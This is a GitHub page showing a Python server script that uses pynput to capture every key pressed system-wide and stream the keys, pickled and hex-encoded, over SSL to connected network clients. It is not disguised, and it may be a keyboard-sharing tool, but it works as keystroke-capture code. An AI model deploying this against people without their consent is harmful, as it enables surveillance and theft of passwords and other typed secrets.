-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMultiThread_main_server.py
More file actions
96 lines (74 loc) · 2.63 KB
/
MultiThread_main_server.py
File metadata and controls
96 lines (74 loc) · 2.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import queue
import threading
import ssl
import socket
import time
import pickle
from pynput import keyboard
# Create a shared queue
shared_queue = queue.Queue()
socketpool=set()
#keyboard operation
def on_key_press(key):
print(f"Key pressed: {key}")
shared_queue.put(key)
def on_key_release(key):
print(f"Key released: {key}")
def senddata(data):
for socket in socketpool:
print(f"data is {data}")
# data1 = pickle.dump(data,open( "save.p", "wb" ))
data1 = pickle.dumps(data) #bytes
print(data1)
hex1=data1.hex()
socket.send(hex1.encode())
# Producer thread
def producer_thread():
with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
listener.join()
# Consumer thread
def consumer_thread():
# Create a socket object
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Generate an SSL context
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile="ssl/certificate.crt", keyfile="ssl/private.key")
# Bind the socket to a specific address and port
server_address = ('ubuntulaptop', 8080)
server_socket.bind(server_address)
# Listen for incoming connections
server_socket.listen(1)
print('Server is listening on {}:{}'.format(*server_address))
while True:
# Wait for a client to connect
print('Waiting for a connection...')
client_socket, client_address = server_socket.accept()
print('Accepted connection from {}:{}'.format(*client_address))
#time.sleep(1)
# Wrap the client socket in an SSL context
ssl_socket = context.wrap_socket(client_socket, server_side=True)
socketpool.add(ssl_socket)
# Receive data from the client
data = ssl_socket.recv(1024)
print('Received data:', data.decode())
# Send a response back to the client
response = 'Hello, client!'
ssl_socket.sendall(response.encode())
while True:
data = shared_queue.get()
if data:
# Consume the data
try:
senddata(data)
except:
print('error')
# Close the SSL socket
ssl_socket.close()
socketpool.remove(ssl_socket)
break
# Retrieve data from the queue
# Create and start the producer and consumer threads
producer = threading.Thread(target=producer_thread)
consumer = threading.Thread(target=consumer_thread)
producer.start()
consumer.start()